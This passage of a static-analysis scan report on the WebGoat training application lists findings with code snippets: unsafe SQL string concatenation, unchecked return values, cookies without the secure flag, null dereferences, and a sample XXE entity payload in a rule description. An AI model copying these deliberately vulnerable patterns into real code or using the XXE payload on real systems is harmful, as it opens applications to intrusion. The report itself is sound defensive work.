e.getMessage()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 55, EndLine: 61\nCode:\nresults.first();\n\n                if (results.getString(\"department\").equals(\"Marketing\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(success().feedback(\"sql-injection.2.success\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 58, EndLine: 64\nCode:\nif (results.getString(\"department\").equals(\"Marketing\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(success().feedback(\"sql-injection.2.success\").output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.2.failed\").output(output.toString()).build());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 60, EndLine: 66\nCode:\noutput.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(success().feedback(\"sql-injection.2.success\").output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.2.failed\").output(output.toString()).build());\n                }\n\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 52, EndLine: 58\nCode:\nStatement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    results.first();\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 55, EndLine: 61\nCode:\nif (results.getStatement() != null) {\n                    results.first();\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                } else {\n                    if (tableExists(connection)) {\n                        return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 57, EndLine: 63\nCode:\noutput.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                } else {\n                    if (tableExists(connection)) {\n                        return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                    }\n                    else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 58, EndLine: 64\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                } else {\n                    if (tableExists(connection)) {\n                        return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                    }\n                    else {\n                        return trackProgress(success().feedback(\"sql-injection.10.success\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 61, EndLine: 67\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                    }\n                    else {\n                        return trackProgress(success().feedback(\"sql-injection.10.success\").build());\n                    }\n                }\n            } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 50, EndLine: 56\nCode:\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 55, EndLine: 61\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 57, EndLine: 63\nCode:\nlog(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(generateTable(results));\n                        results.last();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 78, EndLine: 84\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").build());\n                }\n            } catch (SQLException e) {\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n        } catch (Exception e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 75, EndLine: 81\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.8.no.results\").build());\n                    }\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").build());\n                }\n            } catch (SQLException e) {\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 58, EndLine: 64\nCode:\nResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(generateTable(results));\n                        results.last();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 72, EndLine: 78\nCode:\n} else {\n                        // no results\n                        return trackProgress(failed().feedback(\"sql-injection.8.no.results\").build());\n                    }\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 62, EndLine: 68\nCode:\noutput.append(generateTable(results));\n                        results.last();\n\n                        if (results.getRow() > 1) {\n                            // more than one record, the user succeeded\n                            return trackProgress(success().feedback(\"sql-injection.8.success\").output(output.toString()).build());\n                        } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 64, EndLine: 70\nCode:\nif (results.getRow() > 1) {\n                            // more than one record, the user succeeded\n                            return trackProgress(success().feedback(\"sql-injection.8.success\").output(output.toString()).build());\n                        } else {\n                            // only one record\n                            return trackProgress(failed().feedback(\"sql-injection.8.one\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 67, EndLine: 73\nCode:\nreturn trackProgress(success().feedback(\"sql-injection.8.success\").output(output.toString()).build());\n                        } else {\n                            // only one record\n                            return trackProgress(failed().feedback(\"sql-injection.8.one\").output(output.toString()).build());\n                        }\n\n                    } else {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"ED57A0C1-5039-43E7-B753-28128F786E8B","desc":"<Content>It is not uncommon for Java programmers to misunderstand <code>read()</code> and related methods that are part of many <code>java.io</code> classes. Most errors and unusual events in Java result in an exception being thrown. (This is one of the advantages that Java has over languages like C: Exceptions make it easier for programmers to think about what can go wrong.) But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.\n\nThis behavior makes it important for programmers to examine the return value from <code>read()</code> and other IO methods to ensure that they receive the amount of data they expect.\n\n<Paragraph>\nIn this case, the value of <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> is unchecked in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example:</b> The following code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always exactly 1 kilobyte in size and therefore ignores the return value from <code>read()</code>. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and handle it as though it belongs to the attacker.\n\n<pre>\nFileInputStream fis;\nbyte[] byteArray = new byte[1024];\nfor (Iterator i=users.iterator(); i.hasNext();) {\n    String userName = (String) i.next();\n    String pFileName = PFILE_ROOT + \"/\" + userName;\n    FileInputStream fis = new FileInputStream(pFileName);\n    fis.read(byteArray); // the file is always 1k bytes\n    fis.close();\n    processPFile(userName, byteArray);\n}\n</pre></Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> ignores the value returned by <Replace key=\"PrimaryCall.name\"/> on line <Replace key=\"PrimaryLocation.line\"/>, which could cause the program to overlook unexpected states and conditions.<AltParagraph>Ignoring a method's return value can cause the program to overlook unexpected states and conditions.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/FileServer.java\nStartLine: 76, EndLine: 82\nCode:\npublic ModelAndView importFile(@RequestParam(\"file\") MultipartFile myFile) {\n        WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();\n        File destinationDir = new File(fileLocation, user.getUsername());\n        destinationDir.mkdirs();\n        myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));\n        log.debug(\"File saved to {}\", new File(destinationDir, myFile.getOriginalFilename()));\n        Files.touch(new File(destinationDir, user.getUsername() + \"_changed\"));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/MvcConfiguration.java\nStartLine: 56, EndLine: 62\nCode:\npublic void createDirectory() {\n        File file = new File(fileLocatation);\n        if (!file.exists()) {\n            file.mkdirs();\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\nStartLine: 61, EndLine: 67\nCode:\npublic void createSecretFileWithRandomContents() {\n        File targetDirectory = new File(webGoatHomeDirectory, \"/XXE\");\n        if (!targetDirectory.exists()) {\n            targetDirectory.mkdir();\n        }\n        Files.write(CONTENTS, new File(targetDirectory, \"secret.txt\"), Charsets.UTF_8);\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 62, EndLine: 68\nCode:\nClassPathResource classPathResource = new ClassPathResource(\"employees.xml\");\n        File targetDirectory = new File(webGoatHomeDirectory, \"/ClientSideFiltering\");\n        if (!targetDirectory.exists()) {\n            targetDirectory.mkdir();\n        }\n        FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, \"employees.xml\")));\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-11","Rev_4"]}},{"id":"AC87E716-8766-4F78-8851-86354C03A13B","desc":"<Content>Modern web browsers support a <code>secure</code> flag for each cookie. If the flag is set, the browser will only send the cookie over HTTPS. Sending cookies over an unencrypted channel can expose them to network sniffing attacks, so the secure flag helps keep a cookie's value confidential. This is especially important if the cookie contains private data or carries a session identifier.\n  <Paragraph>\nIn this case a cookie is created in <Replace key=\"FirstTraceLocation.file\"/> at line <Replace key=\"FirstTraceLocation.line\"/>, but <code>setSecure()</code> is not called or is called with the value <code>false</code>.\n  </Paragraph>\n\n<b>Example 1:</b> In the following example, a cookie is added to the response without setting the <code>secure</code> flag.\n<pre>\n\tCookie cookie = new Cookie(\"emailCookie\", email);\n\tresponse.addCookie(cookie);\n</pre>\n\nIf your application uses both HTTPS and HTTP but does not set the <code>secure</code> flag, cookies sent during an HTTPS request will also be sent during subsequent HTTP requests. Sniffing network traffic over unencrypted wireless connections is a trivial task for attackers, so sending cookies (especially those with session IDs) over HTTP can result in application compromise.</Content>","title":"<Content>A cookie is created without the <code>secure</code> flag set to <code>true</code>.</Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 177, EndLine: 183\nCode:\n@Test\n    public void guestShouldNotBeAbleToVote() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isUnauthorized());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 179, EndLine: 185\nCode:\nmockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 132, EndLine: 138\nCode:\n@Test\n    public void invalidTokenShouldSeeGuestView() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(new Cookie(\"access_token\", \"abcd.efgh.ijkl\")))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 137, EndLine: 143\nCode:\n.andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n    @Test\n    public void tomShouldBeAbleToVote() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 107, EndLine: 113\nCode:\n@Test\n    public void guestShouldNotSeeNumberOfVotes() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 112, EndLine: 118\nCode:\n.andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n    @Test\n    public void tomShouldSeeNumberOfVotes() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/csrf/CSRFFeedbackTest.java\nStartLine: 69, EndLine: 75\nCode:\npublic void csrfAttack() throws Exception {\n        mockMvc.perform(post(\"/csrf/feedback/message\")\n                .contentType(MediaType.TEXT_PLAIN)\n                .cookie(new Cookie(\"JSESSIONID\", \"test\"))\n                .header(\"host\", \"localhost:8080\")\n                .header(\"referer\", \"webgoat.org\")\n                .content(\"{\\\"name\\\": \\\"Test\\\", \\\"email\\\": \\\"test1233@dfssdf.de\\\", \\\"subject\\\": \\\"service\\\", \\\"message\\\":\\\"dsaffd\\\"}\"))","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/csrf/CSRFFeedbackTest.java\nStartLine: 75, EndLine: 79\nCode:\n.content(\"{\\\"name\\\": \\\"Test\\\", \\\"email\\\": \\\"test1233@dfssdf.de\\\", \\\"subject\\\": \\\"service\\\", \\\"message\\\":\\\"dsaffd\\\"}\"))\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"feedback\", StringContains.containsString(\"the flag is: \")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 87, EndLine: 93\nCode:\n@GetMapping(\"/JWT/votings/login\")\n    public void login(@RequestParam(\"user\") String user, HttpServletResponse response) {\n        if (validUsers.contains(user)) {\n            Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));\n            claims.put(\"admin\", \"false\");\n            claims.put(\"user\", user);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 95, EndLine: 101\nCode:\n.setClaims(claims)\n                    .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)\n                    .compact();\n            Cookie cookie = new Cookie(\"access_token\", token);\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.OK.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 96, EndLine: 102\nCode:\n.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)\n                    .compact();\n            Cookie cookie = new Cookie(\"access_token\", token);\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.OK.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 100, EndLine: 106\nCode:\nresponse.setStatus(HttpStatus.OK.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        } else {\n            Cookie cookie = new Cookie(\"access_token\", \"\");\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.UNAUTHORIZED.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 101, EndLine: 107\nCode:\nresponse.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        } else {\n            Cookie cookie = new Cookie(\"access_token\", \"\");\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.UNAUTHORIZED.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 75, EndLine: 81\nCode:\n//Call the reset endpoint\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 78, EndLine: 84\nCode:\n.cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void resetWithoutTokenShouldNotWork() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 201, EndLine: 207\nCode:\nString token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 206, EndLine: 212\nCode:\n.andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 189, EndLine: 195\nCode:\nString token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isUnauthorized());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 191, EndLine: 197\nCode:\nmockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void unknownUserShouldSeeGuestView() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-8","Rev_4"]}},{"id":"4280F38B-9FDB-454E-B495-89CF45CD51B7","desc":"<Content>Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break.\n\nTwo dubious assumptions that are easy to spot in code are \"this function call can never fail\" and \"it doesn't matter if this function call fails\". When a programmer ignores the return value from a function, they implicitly state that they are operating under one of these assumptions.\n\n<Paragraph>\nIn this case, an earlier return value is used without being checked in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b>  The following code does not check to see if the string returned by <code>getParameter()</code> is <code>null</code> before calling the member function <code>compareTo()</code>, potentially causing a <code>null</code> dereference.\n\n<pre>\nString itemName = request.getParameter(ITEM_NAME);\n\tif (itemName.compareTo(IMPORTANT_ITEM)) {\n\t\t...\n\t}\n\t...\n</pre>\n\n<b>Example 2:</b>. The following code shows a system property that is set to <code>null</code> and later dereferenced by a programmer who mistakenly assumes it will always be defined.\n\n<pre>\nSystem.clearProperty(\"os.name\");\n...\nString os = System.getProperty(\"os.name\");\nif (os.equalsIgnoreCase(\"Windows 95\") )\n\tSystem.out.println(\"Not supported\");\n</pre>\n\nThe traditional defense of this coding error is:\n\n\"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a <code>null</code> value.\"\n\nBut attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> can dereference a null-pointer on line <Replace key=\"LastTraceLocation.line\"/> because it does not check the return value of <Replace key=\"PrimaryCall.name\"/>, which might return <code>null</code>.<AltParagraph>The program can dereference a null-pointer because it does not check the return value of a function that might return <code>null</code>.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\nStartLine: 63, EndLine: 69\nCode:\nif (referer.equals(\"NULL\")) {\n            if (req.getParameter(\"csrf\").equals(\"true\")) {\n                Random random = new Random();\n                userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\nStartLine: 64, EndLine: 70\nCode:\nif (referer.equals(\"NULL\")) {\n            if (req.getParameter(\"csrf\").equals(\"true\")) {\n                Random random = new Random();\n                userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n                response.put(\"success\", true);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjectionExecute.java\nStartLine: 49, EndLine: 55\nCode:\n@RequestMapping(method = RequestMethod.GET)\n\tpublic @ResponseBody\n\tAttackResult completed(HttpServletRequest request) throws IOException {\n\t\tif (request.getHeader(\"x-request-intercepted\").toLowerCase().equals(\"true\") && request.getParameter(\"changeMe\").equals(\"Requests are tampered easily\")) {\n            return trackProgress(success().feedback(\"http-proxies.intercept.success\").build());\n\t\t} else {\n            return trackProgress(failed().feedback(\"http-proxies.intercept.failure\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java\nStartLine: 68, EndLine: 74\nCode:\n} catch (IOException e) {\n            return failed().feedback(ExceptionUtils.getStackTrace(e)).build();\n        }\n        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE);\n        correctCSRF &= hostOrRefererDifferentHost(request);\n        if (correctCSRF) {\n            String flag = UUID.randomUUID().toString();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"4850D376-12E0-40A6-B099-A20FA7D01C5E","desc":"<Content>XML External Entities attacks benefit from an XML feature to build documents dynamically at the time of processing. An XML entity allows inclusion of data dynamically from a given resource. External entities allow an XML document to include data from an external URI. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote system. This behavior exposes the application to XML External Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.\n\nThe following XML document shows an example of an XXE attack.\n<pre>\n&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n &lt;!DOCTYPE foo [\n  &lt;!ELEMENT foo ANY &gt;\n  &lt;!ENTITY xxe SYSTEM \"file:///dev/random\" &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt;\n</pre>\n\nThis example could crash the server (on a 